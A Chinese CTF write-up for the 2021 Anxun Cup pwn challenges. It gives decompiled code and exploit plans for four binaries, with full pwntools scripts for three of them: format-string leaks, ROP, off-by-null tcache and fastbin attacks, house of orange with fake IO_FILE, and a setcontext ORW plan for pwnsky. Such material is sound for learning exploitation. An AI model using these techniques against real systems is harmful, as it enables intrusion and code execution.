2021安洵杯PWN WP详解
前言
做了2021安洵杯线上赛题目,总体来说题目有简单有难的,难易程度合适,这次就做了pwn,把四道pwn题思路总结一下,重点是没几个人做出来的最后一道pwnsky,赛后做了复现。
PWN -> stack
(stack overflow ,fmt)
题目分析
保护全开,存在栈溢出,格式化字符串漏洞
int __cdecl main(int argc, const char **argv, const char **envp){ char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); read(0, buf, 0x100uLL); // stackoverflow printf(buf); // fmt puts("--+--"); read(0, buf, 0x100uLL); printf(buf); return 0;}
存在system、binsh:
int useless(){ char v1; // [rsp+Fh] [rbp-1h] return system((const char *)v1);}
利用
- 格式化字符串泄露canary、processbaseaddr
- 栈溢出劫持控制流
exp
# -*- coding: UTF-8 -*-from pwn import * context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"] io = remote('47.108.195.119', 20113)# libc = ELF('./libc-2.31.so')#io = process('./ezstack')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))sla('请输入你的队伍名称:','SN-天虞')sla('请输入你的id或名字:','一梦不醒')useless = 0xA8cpop_rdi = 0x0000000000000b03binsh = 0x00B24sl('%17$p@%11$p')process = int(ru('@')[-14:],16) - 0x9dcprint hex(process)canary = int(rn(18),16)print hex(canary) pay = 'a'* 0x18 + p64(canary) + p64(0xdeadbeef)+ p64(process + pop_rdi) + p64(process + binsh) + p64(process + useless)sla('--+--',pay)irt()
PWN -> noleak
(offbynull,tcache bypass)
题目分析
保护全开,ida查看理清程序逻辑,特别是分析结构体,add和delete功能和chunk的idx索引怎么变化,然后就是edit是否存在漏洞,功能分析:
- 输入加密str进入程序,简单的亦或为N0_py_1n_tHe_ct7
- 添加chunk,输入idx和size,在bss段有chunks结构体,最多10个chunk,没有判断chunk是否为null,可以重复添加
- 删除chunk,不存在uaf
- 编辑chunk,存在offbynull
- 查看chunk,输出内容
add函数:
unsigned __int64 add(){ unsigned int v0; // ebx unsigned int v2; // [rsp+0h] [rbp-20h] BYREF _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF *(_QWORD *)&size[1] = __readfsqword(0x28u); v2 = 0; size[0] = 0; puts("Index?"); __isoc99_scanf("%d", &v2); if ( v2 > 9 ) { puts("wrong and get out!"); exit(0); } puts("Size?"); __isoc99_scanf("%d", size); v0 = v2; (&chunks)[2 * v0] = malloc(size[0]); if ( !(&chunks)[2 * v2] ) { puts("error!"); exit(0); } LODWORD((&chunks)[2 * v2 + 1]) = size[0]; return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];}
chunk结构体:
struct{ char* ptr; int size;}
编辑函数:
unsigned __int64 edit(){ int v0; // eax unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF _QWORD *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Index?"); __isoc99_scanf("%d", &v2); if ( v2 > 9 ) exit(0); if ( !(&chunks)[2 * v2] ) exit(0); v3 = (&chunks)[2 * v2]; puts("content:"); v0 = read(0, (&chunks)[2 * v2], LODWORD((&chunks)[2 * v2 + 1])); *((_BYTE *)v3 + v0) = 0; //offbynull return __readfsqword(0x28u) ^ v4;}
chunk的idx索引和数组索引一致。
当时做题只看了编译程序的ubuntu版本是16.04,就以为是libc-2.23,结果本地都打通了远程不行,后来才发现题目提供的libc是2.27的,eimo了,一下提供两个环境下的利用方式:
libc-2.23:
- unsorted bin leak libcaddr
- make chunk merge up to unsorted bin
- fastbin attack to malloc mallochook
- onegadget to getshell
libc-2.27(tcache):
利用方式1:
填满tcache bypass tcache
- fill up the tcache and make chunk merge up by offbynull
- unsortedbin leak libcaddr
- add chunk to make chunk overlap
- tcache attack to malloc freehook
- malloc chunk to tigger system
利用方式2:
tcache只有64个单链表结构,每个链表最多7个chunk,64位机器上以16字节递增,从24到1032字节,所以tcache只能是no-large chunk,我们可以申请large chunk绕过tcache
- malloc large chunk and make chunk merge up by offbynull
- malloc chunk to leak libc addr
- fastbin attack to malloc freehook
- modify freehook to system
- free chunk to tigger system
exp
exp1 libc-2.23
# -*- coding: UTF-8 -*-from pwn import * context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"] #io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('noleak1')libc = ELF('/glibc/2.23/64/lib/libc.so.6') l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx)) def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content) def delete(idx): sl('4') sla('Index?',str(idx)) enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31, 0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4): for j in range(4): s += chr(enc[4*j+i]) print s #sla('请输入你的队伍名称:','SN-天虞')#sla('请输入你的id或名字:','一梦不醒')sl('N0_py_1n_tHe_ct7')add(0,0xf0)add(1,0x50)delete(0)add(0,0xf0)show(0)leak = uu64(rl())lg('leak')libcbase = leak - 0x3c3b78lg('libcbase')mallochook = libcbase + libc.symbols['__malloc_hook']lg('mallochook')system = libcbase + libc.symbols['system']lg('system')add(2,0xf0)add(3,0x68)add(4,0x68)add(5,0x178)add(6,0x10)delete(2)delete(3) # free to fastbin edit(4,'a'*0x60+p64(0x100+0x70*2)) # offbynulledit(5,'a'*0xf0+p64(0)+p64(0x81)) # fake chunk lastremainder delete(5) # chunk Merge up to unsorted bin add(5,0xf0+0x70) # malloc unsorted binedit(5,'a'*0xf0+p64(0)+p64(0x70)+p64(mallochook-0x23)) # modify chunk 3 fd to mallochook# fastbin atttackadd(2,0x68) add(3,0x68) one = [0x45206,0x4525a,0xef9f4,0xf0897]edit(3,'a'*0x13+p64(libcbase + one[2]))#dbg()add(2,0xf0)irt()
exp2 libc-2.27:
# -*- coding: UTF-8 -*-from pwn import * #context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"] io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')#io = process('noleak2')libc = ELF('./libc.so.6') l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx)) def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content) def delete(idx): sl('4') sla('Index?',str(idx)) enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31, 0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4): for j in range(4): s += chr(enc[4*j+i]) print s sla('请输入你的队伍名称:','SN-天虞')sla('请输入你的id或名字:','一梦不醒')sl('N0_py_1n_tHe_ct7')for i in range(8): add(i,0xf0)add(8,0x178)add(9,0x178)for i in range(7): # 1-7 delete(i+1) edit(8,b'a'*0x170+p64(0x980)) #off by nulledit(9,b'a'*0xf0+p64(0)+p64(0x81)) delete(0) #unsigned bindelete(9) #chunk merge up to unsorted binfor i in range(7): add(i,0xf0)add(0,0xf0) show(0) # 0 1-8leak = l64()lg('leak')#dbg()libc_base = leak - 0x3b0230lg('libc_base')free_hook=libc_base+libc.sym['__free_hook']lg('free_hook')malloc_hook=libc_base+libc.sym['__malloc_hook']lg('malloc_hook')add(9,0xf0)delete(6) # 6==9#gdb.attach(p)edit(9,p64(free_hook-0x8))#dbg()add(6,0xf0) # 6 add(9,0xf0) # 10#add1(0xf0) #gdb.attach(p)edit(9,"/bin/sh\x00"+p64(libc_base+libc.sym['system'])) delete(9)irt()
exp3 libc-2.27:
from pwn import * p=process('./noleak2')#p=remote('47.108.195.119',20182)context.terminal = ["/usr/bin/tmux","sp","-h"]context.log_level='debug'elf=ELF('./noleak2')libc=ELF('libc.so.6')#gdb.attach(p,'b *$rebase(0xfc9)') #p.sendline('n03tAck')#p.sendline('1u1u') p.sendlineafter('please input a str:','\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37') def menu(id): p.sendlineafter('>',str(id)) def add(id,size): menu(1) p.sendlineafter('Index?',str(id)) p.sendlineafter('Size?',str(size)) def show(id): menu(2) p.sendlineafter('Index?',str(id)) def edit(id,content): menu(3) p.sendlineafter('Index?',str(id)) p.sendlineafter('content:',str(content)) def delete(id): menu(4) p.sendlineafter('Index?',str(id)) add(0,0x450)add(1,0x18)add(2,0x4f0)add(3,0x18) delete(0)gdb.attach(p)edit(1,'a'*0x10+p64(0x480))delete(2) add(0,0x450)show(1) leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))malloc_hook=leak+0x7f3223b9bc30-0x7f3223b9bca0success('malloc_hook:'+hex(malloc_hook))libc_base=malloc_hook-libc.sym['__malloc_hook']success('libc_base:'+hex(libc_base)) add(2,0x18)delete(2)edit(1,p64(libc_base+libc.sym['__free_hook'])) add(4,0x10)add(5,0x10)edit(5,p64(libc_base+libc.sym['system'])) add(6,0x30)edit(6,'/bin/sh\x00')delete(6) #gdb.attach(p) p.interactive()
总结
这个题目做之前看程序是2.23的,结果做完了发现libc是2.27的,直接崩溃,又换了2.27的利用方式,最后看官方wp直接申请大chunk直接泄露地址,比我的要简洁些,所以就有了这三个版本的exp,题目中规中矩,常规题目。此次第一次遇见远程环境要输入队名和用户名,拿到shell后获取的是sky_token,拿token去换flag,为了防止py也是想尽了办法呀,哈哈。
PWN -> ezheap (heap overflow,no free,house of orange,IOfile)
题目分析
保护全开,环境libc-2.23,ida查看代码,
unsigned __int64 chng_wpn(){ int size; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( !*((_QWORD *)&name + 1) ) { puts("you have no weapon"); exit(1); } puts("size of it"); __isoc99_scanf(&unk_E94, &size); puts("name"); read(0, *((void **)&name + 1), size); // heap overflow putchar(10); return __readfsqword(0x28u) ^ v2;}
gift函数输出heap地址。
分析程序功能:
- 输出heap地址
- add,申请空间,写入name,heap指针在bss段
- edit,堆溢出,只能编辑当前申请的chunk,不能编辑之前的
- show,输出当前chunk
利用
这种没有free函数的就用house of orange的思想,通过溢出将top chunk改小,申请比top chunk大的chunk的时候就会将top chunk释放入相应的bin目录,系统再次为topchunk申请内存,达到free效果,可以接着house of force申请大块内存到特定地址,从而申请到特定内存,去打freehook,malloc_hook;有时候申请大内存会报错,可以利用攻击IO_LIST_ALL制造fake io_file_plus结构体,覆盖flag为binsh,io_overflow_t为system来劫持控制流。iofile详细分析
- Overwrite top chunk size through heap overflow
- free top chunk to unsortedbin to leak libc
- fake io file_Plus structure attack IO list_all
- Call the add function to trigger iofile
exp
# -*- coding: UTF-8 -*-from pwn import * context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"] #io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('./pwn')libc = ELF('/glibc/2.23/64/lib/libc.so.6') l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx)) def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content) def delete(idx): sl('4') sla('Index?',str(idx)) #sla('请输入你的队伍名称:','SN-天虞')#sla('请输入你的id或名字:','一梦不醒') def menu(index): sla("choice :",str(index))def create(size,content): menu(1) sla("of it",str(size)) sa("ame?", content)def show(): menu(3)def edit(size,content): menu(2) sla("of it",str(size)) sa("ame", content) heap = int(rl(),16) - 0x10lg('heap') create(0x20,"aaaaa")edit(0x30,b"a"*0x28+p64(0xfb1)) # house of orange create(0xff0,"bbbb")create(0x48,"") show() ru("is : ")info=uu64(rn(6))lg("info")libc_address= info - 0x3c410a lg('libc_address')malloc_hook = libc_address + libc.symbols['__malloc_hook']lg('malloc_hook')_IO_list_all_addr = libc_address + libc.sym['_IO_list_all']lg('_IO_list_all_addr')system_addr = libc_address + libc.sym['system']lg('system_addr') vtable_addr = heap + 0x178fake = "/bin/sh\x00"+p64(0x61)fake += p64(0xDEADBEEF)+p64(_IO_list_all_addr-0x10)fake +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_basefake = fake.ljust(0xc0,"\x00")fake += p64(0)*3+p64(vtable_addr) # mode <=0 payload = 'a'*0x40payload += fakepayload += 'a'*0x10payload += p64(system_addr) edit(len(payload),payload)#dbg()ru(": ")sl('1')irt()
总结
这个题目用到的知识点很老了,但是我也是很早学的iofile,长时间不用忘记了,比赛的时候只想到用house of force,结果在申请大的chunk的时候报错,一直就僵在那里了,这里house of orange也可以结合iofile进行利用,本人早在刚入门pwn的时候总结过iofile相关的东西,结果长时间不用都又还给别人了,eimo了。
PWN -> pwnsky
题目分析
题目附件给了一个lua.bin、pwn和一些依赖库,看到这就知道这个是个lua、c互调的程序,增加直观上的题目难度,题目程序保护全开,没有找到程序的编译版本,但是可以看到libc版本为2.31。首先题目给出的是lua.bin文件,为lua的字节码,首先需要反编译lua.bin,得到lua源码。
反编译lua
开源工具有两个,一个是luadec(c写的),一个是unluac(java写的),两个都可以。不过unluac支持最新5.4.x的版本反编译。
java -jar unluac.jar lua.bin > lua.lua反编译后:
function Pwnsky(name) local self = {} local ServerInit = function() self.name = name self.account = 0 self.password = 0 self.is_login = 0 self.init = init self.print_logo = print_logo end function self.info() print("Server Info:") local time = os.date("%c") print("Server name: " .. self.name) print("Date time: " .. time) if self.is_login == 0 then print("Account status: Not login") else print("Account status: Logined") print("Account : " .. self.account) end end function self.login() print("pwnsky cloud cache login") io.write("account:") self.account = io.read("*number") io.write("password:") self.password = io.read("*number") self.is_login = login(self.account, self.password) if self.is_login == 1 then print("login succeeded!") else print("login failed!") end end function self.run() while true do io.write("$") local ops = io.read("*l") if ops == "login" then self.login() elseif ops == "info" then self.info() elseif ops == "add" then if self.is_login == 1 then print("size?") size = io.read("*number") idx = add_data(size) print("Data index: " .. idx) else print("login first...") end elseif ops == "del" then if self.is_login == 1 then print("index?") index = io.read("*number") delete_data(index) else print("login first...") end elseif ops == "get" then if self.is_login == 1 then print("index?") index = io.read("*number") get_data(index) else print("login first...") end elseif ops == "help" then print("commands:") print("login") print("info") print("add") print("del") print("get") print("exit") elseif ops == "exit" then print("exit") break end end end ServerInit() return selfendfunction main() alarm(60) local pwn = Pwnsky("pwnsky cloud cache 1.0") pwn:print_logo() pwn:info() pwn:init() pwn:run()end
可以看到程序的主函数逻辑是用lua写的,调用的相关函数是在pwn程序实现的,pwn程序启动首先加载lua.bin解析lua程序,
__int64 __fastcall sub_1DE9(__int64 a1, __int64 a2){ __int64 v3; // [rsp+0h] [rbp-10h] v3 = luaL_newstate(a1, a2); luaL_openlibs(v3); if ( (unsigned int)luaL_loadfilex(v3, "lua.bin", 0LL) || (unsigned int)lua_pcallk(v3, 0LL, 0xFFFFFFFFLL, 0LL, 0LL, 0LL) ) { puts("n"); } lua_pushcclosure(v3, sub_1C51, 0LL); lua_setglobal(v3, "print_logo"); lua_pushcclosure(v3, init_0, 0LL); lua_setglobal(v3, "init"); lua_pushcclosure(v3, login, 0LL); lua_setglobal(v3, "login"); lua_pushcclosure(v3, alarm_0, 0LL); lua_setglobal(v3, "alarm"); lua_pushcclosure(v3, add_data, 0LL); lua_setglobal(v3, "add_data"); lua_pushcclosure(v3, delete, 0LL); lua_setglobal(v3, "delete_data"); lua_pushcclosure(v3, get_data, 0LL); lua_setglobal(v3, "get_data"); return v3;
解题准备(patchelf,去除chroot)
结合给出的start文件(hint是比赛过程中放的):
sudo chroot ./file/ ./pwn hint1: 不要太依赖于F5哦。hint2: 解密算法就是加密算法。hint3: 需要在sub_17BB和sub_143A函数去除花指令,使其F5能够正确反编译。
可以看到程序需要chroot到当前文件夹,那么问题来了,有chroot 怎么用gdb怎么调试呢?太菜的我选择了将程序lua.bin改成./lua.bin,然后把依赖库放到/lib相应目录下,其实就一个lua的依赖库。我本地也是2.31的,这样就不用chroot了,可以直接运行。如果有大佬知道怎么不用patchelf路径就能gdb调试,请分享一下偶。
去除花指令
根据提示知道sub_17BB和sub_143A存在花指令,我说半天找不到关键函数。sub_17BB在有漏洞的地方加了花指令,使得ida反编译找看不出漏洞代码;在sub_143A函数加了花指令,使得ida分析login函数逻辑失败,查看代码发现sub_17BB函数有一场数据块可能是关键代码:
.text:00000000000019AC mov eax, 0.text:00000000000019B1 call _printf.text:00000000000019B6 lea r8, loc_19BD <------------花指令----------->.text:00000000000019BD.text:00000000000019BD loc_19BD: ; DATA XREF: sub_17BB+1FB↑o.text:00000000000019BD push r8.text:00000000000019BF add [rsp+38h+var_38], 0Dh.text:00000000000019C4 retn.text:00000000000019C4 ; ---------------------------------------------------------------------------.text:00000000000019C5 db 0E9h, 23h, 0C5h.text:00000000000019C8 dq 3DAF058D480000h, 48D26348E0558B00h, 0C08400B60FD0048Bh.text:00000000000019C8 dq 3D97058D482A75h, 48D26348E0558B00h, 48F0458B48D0148Bh <----------异常数据块-------->.text:00000000000019C8 dq 4800000001BAD001h, 0E800000000BFC689h, 1B8FFFFF724h.text:0000000000001A10 db 0.text:0000000000001A11 ; ---------------------------------------------------------------------------.text:0000000000001A11.text:0000000000001A11 loc_1A11: ; CODE XREF: sub_17BB+50↑j
可以看到异常数据块前有一些异常代码,将下一条命令地址赋给r8,然后入栈,rsp向下移动0xd,return,相当于啥没做,把0x19b6到0x19c4代码nop掉,还原逻辑如下:
.text:000000000000199F 48 89 C6 mov rsi, rax.text:00000000000019A2 48 8D 05 03 17 00 00 lea rax, aGiftLlx ; "gift: %llx\n".text:00000000000019A9 48 89 C7 mov rdi, rax ; format.text:00000000000019AC B8 00 00 00 00 mov eax, 0.text:00000000000019B1 E8 1A F7 FF FF call _printf.text:00000000000019B6 90 nop ; Keypatch filled range [0x19B6:0x19C4] (15 bytes), replaced:.text:00000000000019B6 ; lea r8, loc_19BD.text:00000000000019B6 ; push r8.text:00000000000019B6 ; add [rsp+38h+var_38], 0Dh.text:00000000000019B6 ; retn.text:00000000000019B7 90 nop.text:00000000000019B8 90 nop.text:00000000000019B9 90 nop.text:00000000000019BA 90 nop.text:00000000000019BB 90 nop.text:00000000000019BC 90 nop.text:00000000000019BD 90 nop.text:00000000000019BE 90 nop.text:00000000000019BF 90 nop.text:00000000000019C0 90 nop.text:00000000000019C1 90 nop.text:00000000000019C2 90 nop.text:00000000000019C3 90 nop.text:00000000000019C4 90 nop.text:00000000000019C5 90 nop ; Keypatch modified this from:.text:00000000000019C5 ; jmp near ptr 0DEEDh.text:00000000000019C5 ; Keypatch padded NOP to next boundary: 4 bytes.text:00000000000019C6 90 nop.text:00000000000019C7 90 nop.text:00000000000019C8 90 nop.text:00000000000019C9 90 nop.text:00000000000019CA 48 8D 05 AF 3D 00 00 lea rax, qword_5780.text:00000000000019D1 8B 55 E0 mov edx, [rbp+var_20].text:00000000000019D4 48 63 D2 movsxd rdx, edx.text:00000000000019D7 48 8B 04 D0 mov rax, [rax+rdx*8].text:00000000000019DB 0F B6 00 movzx eax, byte ptr [rax].text:00000000000019DE 84 C0 test al, al
另一个函数同样方法去花。
程序分析及功能
关键的功能有以下几个:
- login。用户名1000、密码为418894113通过验证;可还原异或加密(流加密)。
- add。申请一个chunk,个数0-100,有非空检查,size在0-4096之间会将chunk地址、size写到bss段,如果data[0]=0,则会多读一个字节,造成offbyone。
- get。输出非空chunk的context
- del。删除非空chunk。指针置零,不存在UAF。
init_0函数:
unsigned __int64 sub_1617(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); init_setvbuf(); seccomp(); //沙箱seccomp_rule_add(v1, 0LL, 59LL, 0LL); 禁用59号中断,不能getshell init_key();//初始化key return v1 - __readfsqword(0x28u);}
login函数:
__int64 __fastcall sub_1663(__int64 a1){ __int64 result; // rax __int64 pass[2]; // [rsp+10h] [rbp-10h] BYREF pass[1] = __readfsqword(0x28u); if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { LODWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { HIDWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); encode(&key, pass, 4LL); // 0x6b8b4567327b23c6 key调试得到,真正生成的是在init函数中根据随机数生成的,不过是固定死的srand(0); if ( pass[0] == 0x3E8717E5E48LL ) //这里ida反编译有点问题,实际上是pass[0]==0x3e8&&pass[1]==0x717e5e48,可以看汇编看出 lua_pushinteger(a1, 1LL); else lua_pushinteger(a1, 0LL); result = 1LL; } else { error( a1, (int)"In function: login, account argument must a number", "In function: login, account argument must a number"); result = 0LL; } } else { error( a1, (int)"In function: login, password argument must a number", "In function: login, password argument must a number"); result = 0LL; } return result;} unsigned __int64 __fastcall encode(__int64 *key, __int64 pass, unsigned __int64 len){ unsigned __int8 v5; // [rsp+23h] [rbp-1Dh] int i; // [rsp+24h] [rbp-1Ch] __int64 v7; // [rsp+30h] [rbp-10h] BYREF unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); v7 = *key; for ( i = 0; len > i; ++i ) { v5 = *((_BYTE *)&v7 + (((_BYTE)i + 2) & 7)) * (*((_BYTE *)&v7 + (i & 7)) + *((_BYTE *)&v7 + (((_BYTE)i + 1) & 7))) + *((_BYTE *)&v7 + (((_BYTE)i + 3) & 7)); *(_BYTE *)(i + pass) ^= v5 ^ table[v5]; *((_BYTE *)&v7 + (i & 7)) = 2 * v5 + 3; if ( (i & 0xF) == 0 ) sub_143A(key, &v7, table[(unsigned __int8)i]);//反编译问题,v7是返回值,参数是key和table[i&0xff] } return v8 - __readfsqword(0x28u);} unsigned __int64 __fastcall sub_143A(__int64 a1, __int64 a2, char a3){ int i; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 7; ++i ) { *(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) ^ table[*(unsigned __int8 *)(i + a1)]; *(_BYTE *)(i + a2) ^= (_BYTE)i + a3; } return v5 - __readfsqword(0x28u);}
按照程序逻辑还原逻辑后将密文输入,就得到明文。
add函数:
__int64 __fastcall add_data(__int64 a1){ __int64 result; // rax int i; // [rsp+10h] [rbp-20h] int v3; // [rsp+14h] [rbp-1Ch] int size; // [rsp+18h] [rbp-18h] int v5; // [rsp+1Ch] [rbp-14h] unsigned __int64 j; // [rsp+20h] [rbp-10h] if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { size = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); for ( i = 0; i <= 100 && qword_5780[i]; ++i ) { if ( i == 100 ) return 0LL; } if ( size > 0 && size <= 4095 ) { qword_5780[i] = malloc(size); v3 = 0; for ( j = 0LL; j < size; ++j ) { v5 = read(0, (void *)(qword_5780[i] + j), 1uLL); if ( *(_BYTE *)(qword_5780[i] + j) == 10 ) break; if ( v5 > 0 ) v3 += v5; } dword_5AA0[i] = size; encode(&key, qword_5780[i], v3); <----------加密存放---------> lua_pushinteger(a1, i); printf("gift: %llx", qword_5780[i] & 0xFFFLL); <----------输出chunk后3字节偏移--------> if ( !*(_BYTE *)qword_5780[i] ) <-----------offbyone------------> read(0, (void *)(qword_5780[i] + j), 1uLL); result = 1LL; } else { result = 0LL; } } else { error( a1, (int)"In function: add_data, first argument must a number", "In function: add_data, first argument must a number"); result = 0LL; } return result;}
到这里基本清楚程序存在offbyone漏洞,沙箱限制getshell,onegadgetsystem(‘/bin/sh’)不好用了,只能读取flag,可以构造orw读取flag,可通过制造堆块重叠来打__free_hook, 修改freehook为setcontext+61的思路去刷新环境,进行堆栈迁移,构造orw,读取flag。
这里setcontext+61关键的寄存器是rdx,setcontext+61片段如下:
.text:00000000000580DD mov rsp, [rdx+0A0h] <------setcontext+61------->刷新rsp到heap,指向orw ROP链.text:00000000000580E4 mov rbx, [rdx+80h].text:00000000000580EB mov rbp, [rdx+78h].text:00000000000580EF mov r12, [rdx+48h].text:00000000000580F3 mov r13, [rdx+50h].text:00000000000580F7 mov r14, [rdx+58h].text:00000000000580FB mov r15, [rdx+60h].text:00000000000580FF test dword ptr fs:48h, 2.text:000000000005810B jz loc_581C6 .text:00000000000581C6 loc_581C6: ; CODE XREF: setcontext+6B↑j.text:00000000000581C6 mov rcx, [rdx+0A8h] <-----rcx = ret,入栈>.text:00000000000581CD push rcx.text:00000000000581CE mov rsi, [rdx+70h].text:00000000000581D2 mov rdi, [rdx+68h].text:00000000000581D6 mov rcx, [rdx+98h].text:00000000000581DD mov r8, [rdx+28h].text:00000000000581E1 mov r9, [rdx+30h].text:00000000000581E5 mov rdx, [rdx+88h].text:00000000000581E5 ; } // starts at 580A0.text:00000000000581EC ; __unwind {.text:00000000000581EC xor eax, eax.text:00000000000581EE retn <--------ret ->ret ->orw ROP >
在此之前需要将heap地址赋值给rdx,然后才能将栈迁移到堆上,我们知道free的时候第一个参数rdi是当前chunk的地址,那么只要将rdi的值赋值给rdx之后再返回到setcontext+61就行了,怎么找gadget能实现如上功能呢?我们在libc的function getkeyserv_handle里能找到如下gadget:
.text:0000000000154930 mov rdx, [rdi+8].text:0000000000154934 mov [rsp+0C8h+var_C8], rax.text:0000000000154938 call qword ptr [rdx+20h]
所以在当前chunk+8的地方放当前heap地址可以实现给rdx赋值,然后在rdx+0x20处放setcontext地址就会返回到setcontext,在rdx+0xa0处放置orw Rop的开始地址,并将rsp指针刷新到指定heap上,执行到ret的时候将rcx移出栈顶,紧接着ret后返回orw的rop开始处,此时rsp和堆栈同时指向orw ROP开始处,开始在heap上构造orw读取flag。
构造赋值想让的步骤如下:
- 通过largebinattack泄露libc,获得freehook、setcontext、rop链地址
- 在制造chunk overlap之前应该将0x30大小的堆填满,释放,之后在新申请的chunk之间就不会有0x30大小的chunk相隔,才能制造overlap。原因猜测是为之后的申请腾空间,所以后面申请的就不会隔开了,具体原因待查
- 泄露heap地址,制造chunk overlap
- 写入freehook地址,修改freehook为gadget(set rdx && call setcontext)
- 申请一个chunk,构造rop修改rdx,返回setcontext,刷新堆栈,之后orw
- free触发rop链,orw读取flag
exp
